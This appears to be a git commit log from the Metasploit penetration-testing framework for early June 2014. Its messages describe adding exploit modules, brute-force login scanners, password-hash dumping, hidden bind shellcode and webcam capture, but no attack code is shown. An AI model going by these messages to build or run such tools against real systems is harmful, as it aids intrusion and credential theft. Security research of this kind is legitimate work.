jvazquez-r7 67d4097e1d Land #3271, @claudijd's Cisco ASA SSL VPN Bruteforce Aux Module 2014-06-12 11:27:23 -05:00
HD Moore 487bf219f0 Rename to match the title 2014-06-12 11:23:34 -05:00
jvazquez-r7 7650067b41 Fix metadata 2014-06-12 11:22:52 -05:00
jvazquez-r7 e76c85c5d1 Fix usage of print_* 2014-06-12 11:13:45 -05:00
David Maloney e4ff07dfa8 Merge branch 'staging/electro-release' into feature/MSP-9693/db2_auth 2014-06-12 10:52:06 -05:00
David Maloney 88f8b585a3 Merge branch 'staging/electro-release' into feature/MSP-9705/postgres_login
Conflicts:
	Gemfile
	Gemfile.lock
2014-06-12 10:47:02 -05:00
Samuel Huckins 2c007846e4 Merge pull request #68 from rapid7/feature/MSP-9710/telnet_login
Specs and functional passing

MSP-9710 #land
2014-06-12 10:30:21 -05:00
Samuel Huckins a5d88fd2ab Space in arg list, because I don't hate feedom. 2014-06-12 10:29:14 -05:00
joev 289bae88de Remove lie in comment. 2014-06-12 10:02:29 -05:00
sinn3r 2a7227f443 Land #3427 - Adds webcam module for firefox privileged sessions on OSX 2014-06-11 22:27:25 -05:00
joev 56efd82112 Correct the disclosure date. 2014-06-11 21:53:42 -05:00
joev 6bc37cca0c Land #3430, @brandonprry's generic MongoDB injection enum. 2014-06-11 21:41:23 -05:00
William Vu 23f7fe45ed Add Chromecast wifi enumeration module 2014-06-11 21:00:47 -05:00
jakxx 88273f87db Targets update 2014-06-11 21:50:16 -04:00
Julian Vilas 2296dea5ad Clean and fix 2014-06-12 01:55:27 +02:00
Julian Vilas 4f67db60ed Modify breakpoint approach by step into 2014-06-12 01:23:20 +02:00
David Maloney c074ebda7b refactor telnet_login 2014-06-11 17:46:42 -05:00
dmaloney-r7 85bee6ea12 Update ftp_login.rb 2014-06-11 17:29:23 -05:00
Spencer McIntyre e6aba3ee35 Land #3438, chromecast youtube video aux module 2014-06-11 18:21:12 -04:00
Brandon Perry cca91dd7c5 Update mongodb_js_inject_collection_enum.rb
some @jvennix-r7 fixes
2014-06-11 17:07:57 -05:00
David Maloney 83a2dc250d make ftp guest attempts optional 2014-06-11 16:37:59 -05:00
James Lee c8e1fab6ec Merge branch 'staging/electro-release' into feature/MSP-9708/ssh-bruteforce
Conflicts:
	lib/metasploit/framework/credential.rb
2014-06-11 16:28:01 -05:00
James Lee b756395eaa Merge branch 'staging/electro-release' into feature/MSP-9712/winrm-bruteforce
Conflicts:
	lib/metasploit/framework/credential_collection.rb
	spec/lib/metasploit/framework/credential_collection_spec.rb
2014-06-11 16:21:59 -05:00
David Maloney 1164cf5363 refactor ftp_login
uses new cred goodness
2014-06-11 16:21:55 -05:00
Jon Hart 7ce9114a1e Initial commit of an NTP fuzzer 2014-06-11 13:46:08 -07:00
Trevor Rosen 87a9ee9a69 Merge pull request #59 from rapid7/feature/MSP-9697/tomcat_login
Feature/msp 9697/tomcat login

MSP-9697 #land
2014-06-11 15:35:09 -05:00
Trevor Rosen d36e82bef4 Update creds dep 2014-06-11 15:31:45 -05:00
William Vu 746a429b44 Land #3442, platform fix from dracu on freenode 2014-06-11 15:25:04 -05:00
HD Moore 0bac24778e Fix the case statements to match platform 2014-06-11 15:22:55 -05:00
HD Moore d5b32e31f8 Fix a typo where platform was 'windows' not 'win'
This was reported by dracu on freenode
2014-06-11 15:10:33 -05:00
joev 8b35815ead Move module to post/firefox/manage. 2014-06-11 15:10:22 -05:00
joev bdd86bf863 Add check for windows bug (RM#8810). 2014-06-11 15:09:52 -05:00
HD Moore 81019ed850 Supermicro work 2014-06-11 15:03:54 -05:00
David Maloney 6269a9141b Merge branch 'staging/electro-release' into feature/MSP-9695/ftp_login 2014-06-11 14:38:49 -05:00
dmaloney-r7 9affc753c0 Merge pull request #66 from rapid7/feature/cred-collection-prepend
Add ability to prepend creds to a collection
2014-06-11 14:34:54 -05:00
James Lee 3a8f6236ad Add ability to prepend creds to a collection 2014-06-11 14:30:45 -05:00
Trevor Rosen 8d06cb7679 Creds version bump 2014-06-11 14:09:31 -05:00
Trevor Rosen 6c0d668f0a Merge pull request #55 from rapid7/feature/MSP-9701/msssql_login
Feature/msp 9701/msssql login

MSP-9701 #land
2014-06-11 13:48:59 -05:00
Samuel Huckins 84aa0d42ed Merge pull request #57 from rapid7/bug/MSP-10004/rubyzip
Trevor added a 0.4.1 tag right before this PR landed, making this unmergable. Pulled in staging/electro-release, specs passing.
2014-06-11 13:48:03 -05:00
Samuel Huckins 1903542683 Merge branch 'staging/electro-release' into bug/MSP-10004/rubyzip
Conflicts:
	Gemfile
	Gemfile.lock
2014-06-11 13:42:26 -05:00
Trevor Rosen 5440e3e150 Merge pull request #52 from rapid7/feature/MSP-9702/mysql_login
refactor mysql_login

MSP-9702 #land
2014-06-11 13:41:48 -05:00
Trevor Rosen e8752f9c56 Point to correct creds version 2014-06-11 13:38:35 -05:00
Trevor Rosen ad80ada86b Merge pull request #51 from rapid7/feature/MSP-9711/vnc_login
refactor vnc_login
2014-06-11 13:35:26 -05:00
Trevor Rosen 651871bd7a Resolve upstream conflict 2014-06-11 13:34:45 -05:00
Trevor Rosen a92660376c Update credentials tag 2014-06-11 13:29:09 -05:00
William Vu ac94f8e861 Refactor bulletproof_ftp creds 2014-06-11 13:04:58 -05:00
William Vu 7147a88968 Refactor ftpnavigator creds 2014-06-11 12:57:45 -05:00
William Vu 676afe391a Refactor gpp creds 2014-06-11 12:48:00 -05:00
William Vu 41ff4c3dce Refactor ftpx creds 2014-06-11 12:35:15 -05:00
Samuel Huckins b26a8fa76d Updating with latest MC tag
MSP-10004
2014-06-11 11:36:49 -05:00
David Maloney 943a4285e4 update schema.rb 2014-06-11 10:57:13 -05:00
David Maloney 9593422f9c Merge branch 'master' into staging/electro-release 2014-06-11 10:23:56 -05:00
Tod Beardsley 4b8961a464 Land #3428, deprecation warns for payloads 2014-06-11 09:57:07 -05:00
TecR0c 278a53c3da Merge pull request #1 from jvazquez-r7/land_3433
Do minor cleanup
2014-06-12 00:40:44 +10:00
jvazquez-r7 34f98ddc50 Do minor cleanup 2014-06-11 09:20:22 -05:00
AnwarMohamed 72ef4dc704 Merge remote-tracking branch 'upstream/master' 2014-06-11 15:54:27 +02:00
TecR0c b27b00afbb Added target 4.0 and cleaned up exploit 2014-06-11 06:22:47 -07:00
TecR0c f1382af018 Added target 4.0 and cleaned up exploit 2014-06-11 06:20:49 -07:00
Meatballs1 165a65fdb4 Merge pull request #49 from todb-r7/fix-pr3428-deprecated
Avoid double-printing with setup and init_ui
2014-06-11 09:28:06 +01:00
William Vu 6ca5cf6c26 Add Chromecast YouTube remote control 2014-06-11 00:08:08 -05:00
Samuel Huckins 8e34b0b4bd Updated metasploit-credential tag
MSP-10004
2014-06-10 19:51:50 -05:00
James Lee fb8c1f4c4b Refactor ssh_login to use LoginScanner stuffs
Also, Metasploit::Credential::Creation stuffs.
2014-06-10 17:30:06 -05:00
James Lee c0c1bd40a9 Fix help spec 2014-06-10 17:28:55 -05:00
Trevor Rosen 73c3409133 Prayer
Merge branch 'staging/electro-release' into feature/MSP-9711/vnc_login
2014-06-10 16:01:24 -05:00
David Maloney c06fd21fb1 refactor tomcat_mgr_login
uses the new Metasploit::Credential magic now
2014-06-10 15:59:00 -05:00
James Lee 82b2c1deae Make creds command show Metasploit::Credentials
This attempts to change the output of the command as little as possible,
but removes the ability to add and delete for now. At some point, we'll
need to add that back in.
2014-06-10 15:03:03 -05:00
David Maloney 693c4aae66 make sure we capture realms
need to account for the possability of
realms in mssql_login
2014-06-10 14:41:45 -05:00
Luke Imhoff b05e7fb9ac Fix require
MSP-10004

Change 'zip/zip' to 'zip' to match >= 1.0.0 rubyzip API.
2014-06-10 13:58:07 -05:00
Tod Beardsley b379dc014a Avoid double-printing with setup and init_ui 2014-06-10 13:57:25 -05:00
Luke Imhoff c79e51ea1d Update db/schema.rb
MSP-10004
2014-06-10 13:46:12 -05:00
David Maloney 74d376e387 refactor db2_auth module
you know what it is
2014-06-10 13:43:07 -05:00
Luke Imhoff 4d923a4809 Update to Rubyzip 1.X API
MSP-10004

`require 'zip'` instead of `'zip/zip'` and rename all classes to remove
redundant Zip prefix inside the Zip namespace.
2014-06-10 13:41:42 -05:00
Luke Imhoff f37ce795a1 Remove lib/zip
MSP-10004
2014-06-10 13:39:05 -05:00
Tod Beardsley 44540e6d00 Land #3437, CSS Injection MITM scanner 2014-06-10 13:36:35 -05:00
jvazquez-r7 4aa1fee398 Land #3326, @FireFart's Heartbleed - server response parsing 2014-06-10 13:27:28 -05:00
Luke Imhoff b92e95ee7f Add rubyzip 1.1.X
MSP-10004
2014-06-10 13:23:40 -05:00
David Maloney 6b52da2901 Merge branch 'staging/electro-release' into feature/MSP-9693/db2_auth 2014-06-10 13:17:10 -05:00
dmaloney-r7 9826a57429 Update coreftp.rb 2014-06-10 13:01:19 -05:00
William Vu dffc9b6852 Use the new hash syntax for consistency 2014-06-10 12:56:15 -05:00
William Vu af04d5dd05 Use the new hash syntax for consistency 2014-06-10 12:54:35 -05:00
William Vu 00fcdc25f2 Use getaddress on rhost 2014-06-10 12:50:53 -05:00
William Vu d7fd7b8d1e Refactor wsftp_client creds 2014-06-10 12:05:04 -05:00
David Maloney 0c89d6cdce refactor mssql_login
now uses all the Metasploit::Credential goodness
2014-06-10 11:49:08 -05:00
David Maloney 15ceb1e826 put calls in right place it helps 2014-06-10 11:17:19 -05:00
David Maloney 63ec83ea90 missing public
missing the public in the invalidate_login call
now fixed
2014-06-10 11:12:17 -05:00
David Maloney 6362eac0b0 add invalidate_login call 2014-06-10 11:11:22 -05:00
David Maloney e9d9806408 invalidate_login
added invalidate_login call
also made to_s on credential drop the @
if there is no realm present
2014-06-10 11:07:15 -05:00
David Maloney dc590008a7 add invalidate_login call
add the new invalidate login call to make sure
we update the status on failed logins appropriately
2014-06-10 10:58:27 -05:00
jvennix-r7 92414d3688 Merge pull request #53 from rapid7/bug/MSP-9994/framework-db-driver
Set `framework.db.driver` when connection already established.
2014-06-10 10:49:00 -05:00
jvazquez-r7 9aa2978589 Land jvazquez-r7/metasploit-framework#14, @todb-r7's fixes 2014-06-10 10:42:34 -05:00
Tod Beardsley 521284253f Be more clear about the vuln and impact 2014-06-10 10:29:23 -05:00
jvazquez-r7 2c8a99143b Land #3426, @Meatballs1's Python v2.3.3 Compatible Command Shell payloads 2014-06-10 09:55:58 -05:00
jvazquez-r7 3ec15b6512 Land #3431, @bcoles's new targets for efs_easychatserver_username 2014-06-10 09:52:16 -05:00
jvazquez-r7 a554b25855 Use EXITFUNC 2014-06-10 09:51:06 -05:00
Trevor Rosen 2c8c4f238c Merge pull request #49 from rapid7/feature/MSP-9746/ssh_creds
refactor ssh_creds post module

MSP-9746 #land
2014-06-10 09:32:11 -05:00
Trevor Rosen dcca5802e4 Merge pull request #48 from rapid7/feature/MSP-9745/linux_hashdump
refactor linux hashdump post module

MSP-9745 #land
2014-06-10 09:23:31 -05:00
jvazquez-r7 9b55f5143a Add module for CVE-2014-0224 2014-06-09 17:38:11 -05:00
James Lee e629fdb47d Report the realm, too
derp
2014-06-09 17:06:56 -05:00
Meatballs dc69afebb1 License and Require 2014-06-09 21:41:38 +01:00
William Vu 384b65b3ec Refactor glassfish_deployer creds 2014-06-09 15:40:26 -05:00
Luke Imhoff 2cbbaad6b4 Set drivers and driver when connection already established
MSP-9994

3 database commands in msfconsole check for framework.db.driver to be
set, so driver must be set when the connection is already established by
the Rails initialization.
2014-06-09 14:26:59 -05:00
Luke Imhoff 1ee35ec68a Handle unconnected config in connection_established?
MSP-9994

Rescue `ActiveRecord::ConnectionNotEstablished` in
`Msf::DBManager#connection_established?` in addition to
`PG::ConnectionBad` to handle when the connection has been removed.
2014-06-09 14:26:45 -05:00
Luke Imhoff c7a43ecced Update Gemfile.lock
MSP-9994
2014-06-09 14:24:44 -05:00
David Maloney 32f87b985c refactor mysql_login
refactor mysql_login to use the new
Metasploit::Credential apradigm
2014-06-09 14:20:58 -05:00
David Maloney 61fd962331 refactor vnc_login
refactor for new credential usage
2014-06-09 13:55:24 -05:00
jvazquez-r7 e953fcbd97 Land #3436, @todb-r7's cleanup for dtls_fragment_overflow 2014-06-09 13:47:27 -05:00
David Maloney 8e35f5fa12 username and password flipped
we reported the username as the password
and vice versa
2014-06-09 13:45:12 -05:00
Tod Beardsley 4103f2295b Missing comma 2014-06-09 13:44:46 -05:00
Tod Beardsley 0e14d77dba Minor fixup on DTLS module 2014-06-09 13:42:30 -05:00
jvazquez-r7 0e611b5d64 Land #3429, @jhart-r7's auxiliary module for CVE-2014-0195 2014-06-09 13:34:38 -05:00
jvazquez-r7 ed5d83a41b Add vulnerability discoverer 2014-06-09 13:25:33 -05:00
jvazquez-r7 daf662b3c0 Do minor cleanup 2014-06-09 13:23:56 -05:00
David Maloney a4e96d8f59 Merge branch 'master' into staging/electro-release 2014-06-09 13:07:22 -05:00
David Maloney f8f5691eee refactor postgres_login module
postgres_login now uses all the new components
such as Metasploit::Credential and the LoginScanner
class
2014-06-09 12:59:05 -05:00
David Maloney 90c63efaeb refactor ssh_creds post module
the sssh_ creds post module now stores
SSH Keys as Metasploit::Credential objects
2014-06-09 11:49:49 -05:00
jvazquez-r7 1f33566033 Land #3432, @Meatballs1 sap_soap_rfc_brute_login's clean up 2014-06-09 11:39:52 -05:00
TecR0c 3d33a82c1c Changed to unless 2014-06-09 09:31:14 -07:00
TecR0c 1252eea4b9 Changed to unless 2014-06-09 09:26:03 -07:00
jvazquez-r7 b39b41e29f Land #3371, @Meatballs1 fix for sap_mgmt_con_getprocessparameter 2014-06-09 11:25:01 -05:00
Jon Hart 06e45e8253 Clean up TLS fragment building 2014-06-09 08:39:30 -07:00
David Maloney 482aa2ea08 Merge branch 'master' into staging/electro-release 2014-06-09 10:27:22 -05:00
TecR0c 79bc2b9e80 Merge remote-tracking branch 'origin/module-efs-fmws-userid-bof' into module-efs-fmws-userid-bof 2014-06-09 03:34:43 -07:00
TecR0c 52d26f290f Added check in exploit func 2014-06-09 03:23:14 -07:00
Meatballs 76b5297d3f Land #3434, Fix original psh payload VirtualAlloc call 2014-06-08 17:39:39 +01:00
Meatballs d868294d5b MEM_RESERVE too 2014-06-08 17:37:57 +01:00
jvazquez-r7 9d08ebe273 Fix VirtualAlloc call on PSH old template 2014-06-08 11:09:03 -05:00
jvazquez-r7 e4d14194bb Add module for Rocket Servergraph ZDI-14-161 and ZDI-14-162 2014-06-08 11:07:10 -05:00
Meatballs 25ed68af6e Land #3017, Windows x86 Shell Hidden Bind
A bind shellcode that responds as 'closed' unless the client matches the
AHOST ip.
2014-06-08 13:49:49 +01:00
TecR0c 323ac17979 Update efs_fmws_userid_bof.rb
Removed test sploit line.
2014-06-08 21:29:12 +10:00
TecR0c 8ecafbc49e Easy File Management Web Server v5.3 Stack Buffer Overflow 2014-06-08 04:21:14 -07:00
Christian Mehlmauer 099003708c Land #3422, SAP Bruterforcer datastore cleanup 2014-06-08 08:42:27 +02:00
Brandon Perry 4367e8ef0c Update mongodb_js_inject_collection_enum.rb
Fix some logic bugs that caused incorrect results.
2014-06-07 21:03:28 -05:00
Brandon Perry dc89621d5c Update mongodb_js_inject_collection_enum.rb
No need to make extra requests. Off by one.
2014-06-07 20:09:00 -05:00
Brandon Perry 2663af986b Update mongodb_js_inject_collection_enum.rb
This adds a bit more error handling, and better decision making in regards to false responses.
2014-06-07 19:58:12 -05:00
Julian Vilas 73536f2ac0 Add support Java 8 2014-06-07 22:43:14 +02:00
Brendan Coles 6bef6edb81 Update efs_easychatserver_username.rb
Add targets for versions 2.0 to 3.1.
Add install path detection for junk size calculation.
Add version detection for auto targeting.
2014-06-08 06:36:18 +10:00
Jon Hart a7a1a2bf3b Move dtls_fragment_overflow.rb under ssl where it belongs 2014-06-07 12:56:34 -07:00
Brandon Perry 4071fb332b Create mongodb_js_inject_collection_enum.rb
This module was tested against a small php application I wrote interfacing with MongoDB 2.2.7

https://gist.github.com/brandonprry/c2de8ac2be825007c4de
2014-06-07 11:20:34 -05:00
Borja Merino 5881f9453f Merge pull request #5 from Meatballs1/hidden_bind
Remove bind hidden handler
2014-06-07 17:43:25 +02:00
Meatballs 2be6b8befe Remove bind hidden handler 2014-06-07 14:34:20 +01:00
Meatballs bf1a665259 Land #2657, Dynamic generation of windows service executable functions
Allows a user to specify non service executables as EXE::Template as
long as the file has enough size to store the payload.
2014-06-07 13:28:20 +01:00
Meatballs 897ad6f963 Some service yarddoc 2014-06-07 13:27:32 +01:00
Jon Hart 8637a1fff1 OpenSSL DTLS CVE-2014-0195 POC 2014-06-06 19:24:47 -07:00
Meatballs fe20e6e1c4 Merge remote-tracking branch 'upstream/master' into soap_brute_fix
Conflicts:
	modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb
2014-06-07 02:44:16 +01:00
Meatballs 8624ddfc3e Clean up SAP SOAP RFC Brute Login
Honour the user supplied settings
Abort a host on connection error
Check a 200 response for some appropriate data
Let datastore validation handle things like options being present
Be more verbose if needed
Use the HTTPClient more appropriately
2014-06-07 02:34:49 +01:00
Meatballs b997c2ac1f Further tidies 2014-06-07 02:00:35 +01:00
Meatballs 5218ca4d89 Give warning on module load 2014-06-06 23:04:40 +01:00
joev a33de66da4 Fix transparent background, add VISIBLE option. 2014-06-06 16:52:00 -05:00
joev a45a5631f5 Make window invisible. 2014-06-06 16:40:55 -05:00
joev 496be5c336 Ensure command_shell_options is present. 2014-06-06 16:26:45 -05:00
joev d990fb4999 Remove a number of stray edits and bs. 2014-06-06 16:24:45 -05:00
joev 4a9f50bb60 Clean up some dead code. 2014-06-06 16:20:40 -05:00
joev 7c762ad42c Fix some minor bugs in webrtc stuff, inline API code. 2014-06-06 16:18:39 -05:00
David Maloney 534c20d5e6 refactor linux hashdump post module
linux hashdump now saves hashes as nonreplayable hash
credential objects
2014-06-06 15:21:47 -05:00
Meatballs 4a699c2852 Merge remote-tracking branch 'upstream/pr/3416' into x64_injection 2014-06-06 20:37:12 +01:00
James Lee 552899ef13 Add a couple more specs for CredentialCollection
Also fixes some typos in docs
2014-06-06 12:12:32 -05:00
David Maloney 4d53c18ac4 fix version 2014-06-06 12:07:22 -05:00
David Maloney 9b9de12a38 Merge branch 'master' into staging/electro-release
Conflicts:
	lib/msf/core/framework.rb
2014-06-06 12:04:53 -05:00
dmaloney-r7 ff8e6d2c50 Merge pull request #45 from rapid7/feature/MSP-9988/credential-collection
Add a CredCollection class and refactor WinRM bruteforce module
2014-06-06 11:53:28 -05:00
David Maloney 90b52814b1 fix some spec issues for recent changes 2014-06-06 11:52:49 -05:00
jvennix-r7 f660f557e5 Merge pull request #38 from rapid7/feature/msp-9738/winscp
Feature/msp 9738/winscp
2014-06-06 11:43:50 -05:00
Samuel Huckins 984b77a4a6 Merge pull request #43 from rapid7/feature/MSP-9721/tomcat_deploy
Specs aside from known POP3 fail passing, functional steps passing.

MSP-9721 #land
MSP-9722 #land
2014-06-06 11:11:08 -05:00
jvennix-r7 4bc543715d Merge pull request #40 from rapid7/feature/MSP-9748/postgres_hashdump
Feature/msp 9748/postgres hashdump
2014-06-06 10:51:19 -05:00
David Maloney da09a2725b we need the service data in the login!
ooopsie #2
2014-06-06 10:51:12 -05:00
Brandon Turner acced15d11 Merge branch 'release' 2014-06-06 10:17:00 -05:00
Brandon Turner 82464bd6aa Update version spec 2014-06-06 10:16:44 -05:00
Brandon Turner bacf82acb1 Merge branch 'release' into 'master' 2014-06-06 09:59:00 -05:00
Brandon Turner 21be4f21a6 Bump version to 4.9.3 2014-06-06 09:52:01 -05:00
Brandon Turner d9a5002bd3 Merge branch 'release'
Updates meterpreter bins and closes #3425 and #3423.
2014-06-05 17:33:11 -05:00
Brandon Turner 17ccc132a4 Land #3425 from todb-r7:release-meterpreter-bins 2014-06-05 17:32:34 -05:00
Tod Beardsley 97a70e49c8 Roll back the jar/py changes 2014-06-05 17:31:02 -05:00
Tod Beardsley 737f06f600 Add Meterpreter bins for release branch.
This contains the same bins as #3423, but it is targeted at the release
branch for rapid7/metasploit-framework.
2014-06-05 17:17:32 -05:00
Lance Sanchez b6f049d41e Merge branch 'feature/MSP-9653/use-metasploit-concern-in-pro' into staging/electro-release 2014-06-05 16:32:47 -05:00
Lance Sanchez eead9f097a updating creds to v0.3.0
MSP-9653
2014-06-05 16:31:17 -05:00
Luke Imhoff f2a56c041b Merge branch 'staging/electro-release' into feature/MSP-9653/use-metasploit-concern-in-pro
MSP-9653

Conflicts:
	Gemfile
	Gemfile.lock
2014-06-05 16:22:02 -05:00
David Maloney c61b47063d vnc add missing exception catch
linux throws a different exception than osx
when the vnc client fails to connect
this caused issues with the specs running. this now
catches that additional exception
2014-06-05 15:32:08 -05:00
jvennix-r7 2522f1f332 Merge pull request #39 from rapid7/feature/MSP-9751/mysql_hashdump
Feature/msp 9751/mysql hashdump
2014-06-05 14:39:48 -05:00
Lance Sanchez d10867ea9e updating the gemfile
metasploit-concern v0.1.0 has been released
metasploit-credential is now on the v0.2.0-electro-release tag

MSP-9653
2014-06-05 14:26:40 -05:00
James Lee 2ee408e9db Refactor winrm_login with Credentials 2014-06-05 14:26:29 -05:00
David Maloney a84980fa9d login creation was missing! 2014-06-05 13:56:08 -05:00
Samuel Huckins 9d4ba8c981 Merge pull request #41 from rapid7/feature/MSP-9731/filezilla
Specs other than POP3 specs fixed on staging passing, functional passing

MSP-9731 #land
2014-06-05 13:19:10 -05:00
Luke Imhoff 5ae5448005 Join killed threads to ensure cleanup
MSP-9653
2014-06-05 12:40:24 -05:00
Samuel Huckins 75e4e81b7a Merge pull request #37 from rapid7/feature/MSP-9750/MSSQL_hashdump
Specs and functional tests passing. 

MSP-9750 #land
2014-06-05 12:20:40 -05:00
James Lee 33a9f8c43f Add spec for userpass_file 2014-06-05 11:54:59 -05:00
James Lee 45c26343a1 Add spec for pass_file 2014-06-05 11:51:11 -05:00
James Lee b1136752be Add Credential#== to facilitate specs 2014-06-05 11:37:48 -05:00
Samuel Huckins af20e8f56e Merge pull request #44 from rapid7/bug/fixing-failing-specs-in-pop3
All specs passing. Much celebrations. Such happy. Wow.
2014-06-05 11:33:40 -05:00
Lance Sanchez 262deac155 Fixing the failing specs
for some reason on my box sock.closed? isnt being called. stubbing it out

Kernel.select is being called and cant cast a mock object to an IO object
ok to fix this I'm stubbing select on the scanner object then the call wont
get passed onto the Kernel module
2014-06-05 11:21:34 -05:00
William Vu 00511b2aeb Land #3421, new @trosen-r7 in .mailmap 2014-06-05 10:59:47 -05:00
Tod Beardsley 8747273b01 Add @trosen-r7's alias for commits
Just so quick counts of contributors is slightly more accurate and
@trosen-r7 doesn't accidentally get double counted.
2014-06-05 10:40:38 -05:00
AnwarMohamed d0f43f1aba Merge remote-tracking branch 'upstream/master' 2014-06-05 15:04:07 +02:00
Julian Vilas e7957bf999 Change GET request by random text 2014-06-05 01:33:00 +02:00
James Lee 8b6e188ba8 Add support for realm in CredentialCollection
MSP-9988
2014-06-04 17:03:52 -05:00
Redsadic 934ba7394f Merge pull request #2 from jvazquez-r7/clean_3407
Clean jdwp exploit
2014-06-04 23:57:17 +02:00
David Maloney 62866374b8 refactor tomcat_mgr_deploy 2014-06-04 16:22:22 -05:00
David Maloney f22447f91e refactor tomcat_mgr_upload 2014-06-04 16:07:57 -05:00
jvazquez-r7 c9bd0ca995 Add minor changes 2014-06-04 15:56:14 -05:00
David Maloney ef8f237050 refactor filezilla_server
you know the score
2014-06-04 15:43:15 -05:00
jvazquez-r7 bb77327b09 Warn the user if the detected platform doesnt match target 2014-06-04 14:50:18 -05:00
James Lee b1ff6b95b5 Better docs 2014-06-04 14:44:53 -05:00
jvazquez-r7 b76253f9ff Add context to the socket 2014-06-04 14:25:01 -05:00
jvazquez-r7 77eeb5209a Do small cleanups 2014-06-04 14:23:21 -05:00
jvazquez-r7 6c643f8837 Fix usage of Rex::Sockket::Tcp 2014-06-04 14:14:23 -05:00
David Maloney 4960503a59 fix jtr_format
use raw-md5 as that sort of works
2014-06-04 14:10:28 -05:00
jvazquez-r7 837668d083 use optiona argument for read_reply 2014-06-04 13:48:53 -05:00
jvazquez-r7 d184717e55 delete blank lines 2014-06-04 13:24:34 -05:00
jvazquez-r7 33a7bc64fa Do some easy cleaning 2014-06-04 13:18:59 -05:00
James Lee 41644970bf Add a CredentialCollection
Also moves Metasploit::Framework::LoginScanner::Credential to
Metasploit::Framework::Credential
2014-06-04 13:01:09 -05:00
jvazquez-r7 1ff539fc73 No sense to check two times 2014-06-04 12:48:20 -05:00
jvazquez-r7 7a5b5d31f9 Avoid messages inside check 2014-06-04 12:43:39 -05:00
jvazquez-r7 3869fcb438 common http breakpoint event 2014-06-04 12:41:23 -05:00
jvazquez-r7 9ffe8d80b4 Do some metadata cleaning 2014-06-04 12:33:57 -05:00
David Maloney 30c35907bf refactor psotgres_hashdump
refactor psotgres_hashdump to now save
hashes as Metasploit::Credential objects
2014-06-04 12:21:49 -05:00
David Maloney d1f7f93e4b refactor mysql_hashdump
mysql_hashdump now uses Metasploit::Credential to
save hashes.
2014-06-04 11:59:47 -05:00
David Maloney 201e6e9866 Merge branch 'feature/MSP-9750/MSSQL_hashdump' into feature/MSP-9751/mysql_hashdump 2014-06-04 11:58:58 -05:00
jvazquez-r7 079fe8622a Add module for ZDI-14-136 2014-06-04 10:29:33 -05:00
David Maloney 28bf29980e Merge branch 'master' into staging/electro-release 2014-06-04 10:21:08 -05:00
OJ a53955adb7 Updated more UINT TLVs to QWORDS
All with the goal of removing more pointer truncation issues.
2014-06-04 20:55:20 +10:00
Meatballs c032b8ce8e Compat 2014-06-04 02:27:06 +01:00
Julian Vilas b9d8f75f59 Add breakpoint autohitting 2014-06-03 23:34:40 +02:00
Julian Vilas 6061e5e713 Fix suggestions 2014-06-03 23:13:14 +02:00
James Lee f2e1732878 Resolve hostnames before trying to save 2014-06-03 15:19:30 -05:00
David Maloney d3949b3d6c refactor mssql_hashdump
refactor mssql_hashdump to use Metasploit:Credential
2014-06-03 15:02:59 -05:00
Trevor Rosen 0272593923 Merge pull request #32 from rapid7/feature/MSP-9736/vnc-post
refactor vnc post module

MSP-9736 #land
2014-06-03 13:53:42 -05:00
jakxx 62fe30798d Tidy 2014-06-03 14:48:40 -04:00
jakxx 5ddbdb7dfd Tidy 2014-06-03 14:23:04 -04:00
jakxx fdfd7f410d Tidy 2014-06-03 14:21:13 -04:00
jakxx 392b383c2c Update 2014-06-03 14:07:04 -04:00
Trevor Rosen ad15e6fe17 Merge pull request #35 from rapid7/feature/MSP-9678/pop3-login-scanner
Feature/msp 9678/pop3 login scanner

MSP-9678 #land
2014-06-03 12:11:17 -05:00
James Lee 8abed15c77 Switch to Credential::* things 2014-06-03 11:48:08 -05:00
William Vu 6c7fd3642a Land #3411, Python 3.[34] Meterpreter support 2014-06-03 11:34:22 -05:00
Meatballs 0e3549ebc4 mc brute tidy 2014-06-03 17:27:46 +01:00
Lance Sanchez edc9f94d41 fixing issues raised in code review
MSP-9678
2014-06-03 11:15:26 -05:00
Spencer McIntyre 0e4177fb75 Pymeterpreter shorten stagers by 3 bytes 2014-06-03 12:03:20 -04:00
jakxx 166748a997 Add script_web_delivery 2014-06-03 11:53:32 -04:00
Trevor Rosen 9335495b30 Merge pull request #36 from rapid7/feature/MSP-9724/psexec
psexec credential refactor

MSP-9724 #land
2014-06-03 10:09:56 -05:00
Trevor Rosen 883976c6a8 Merge pull request #33 from rapid7/feature/MSP-9741/smartftp
refactor smartftp post module

MSP-9741 #land
2014-06-03 10:04:09 -05:00
jvazquez-r7 8d111caeb9 Use powershell instead of mshta 2014-06-03 10:00:32 -05:00
jvazquez-r7 443f9f175c Update IE11Sandbox exploit source 2014-06-03 09:58:07 -05:00
jvazquez-r7 43699b1dfb Don't clean env variable before using it 2014-06-03 09:56:19 -05:00
jvazquez-r7 b8a2cf776b Do test 2014-06-03 09:52:01 -05:00
jvazquez-r7 05ed2340dc Use powershell 2014-06-03 09:29:04 -05:00
Spencer McIntyre 95376bf6d3 Pymeterpreter update stager and stage descriptions 2014-06-03 10:17:27 -04:00
jvazquez-r7 372a12b966 Restore make.msbuild permissions 2014-06-03 09:07:34 -05:00
jvazquez-r7 98a06b3d72 Restore make.msbuild 2014-06-03 09:05:26 -05:00
jvazquez-r7 f918bcc631 Use powershell instead of mshta 2014-06-03 09:01:56 -05:00
AnwarMohamed 8898dd655c Merge remote-tracking branch 'upstream/master' 2014-06-03 14:34:21 +02:00
joev 04ac07a216 Compress and base64 data to save bytes.
Reduced file size from 43kb to 12kb, yay.
2014-06-02 23:06:46 -05:00
joev cf6b181959 Revert change to trailer(). Kill dead method.
* I verified that changes to PDF mixin do not affect any older modules that
generate PDF. I did this by (on each branch) running  in irb, then
running the module and diffing the pdf's generated by each branch. There were
no changes.
2014-06-02 22:26:14 -05:00
joev 9f5dfab9ea Add better interface for specifying custom #eol. 2014-06-02 22:26:11 -05:00
joev 09e965d54e Remove extraneous method from pdf.rb 2014-06-02 22:26:03 -05:00
joev feca6c4700 Add exploit for ajsif vuln in Adobe Reader.
* This refactors the logic of webview_addjavascriptinterface into a mixin (android.rb).
* Additionally, some behavior in pdf.rb had to be modified (in backwards-compatible ways).

Conflicts:
	lib/msf/core/exploit/mixins.rb
2014-06-02 22:25:55 -05:00
James Lee 9d9f3b5a03 Refactor to prepare for replacing report_auth_info 2014-06-02 18:07:44 -05:00
jvazquez-r7 7f4702b65e Update from rapid7 master 2014-06-02 17:41:41 -05:00
Tod Beardsley d0d389598a Land #3086, Android Java Meterpreter updates
w00t.
2014-06-02 17:28:38 -05:00
jvazquez-r7 4840a05ada Update from rapid7 master 2014-06-02 17:17:00 -05:00
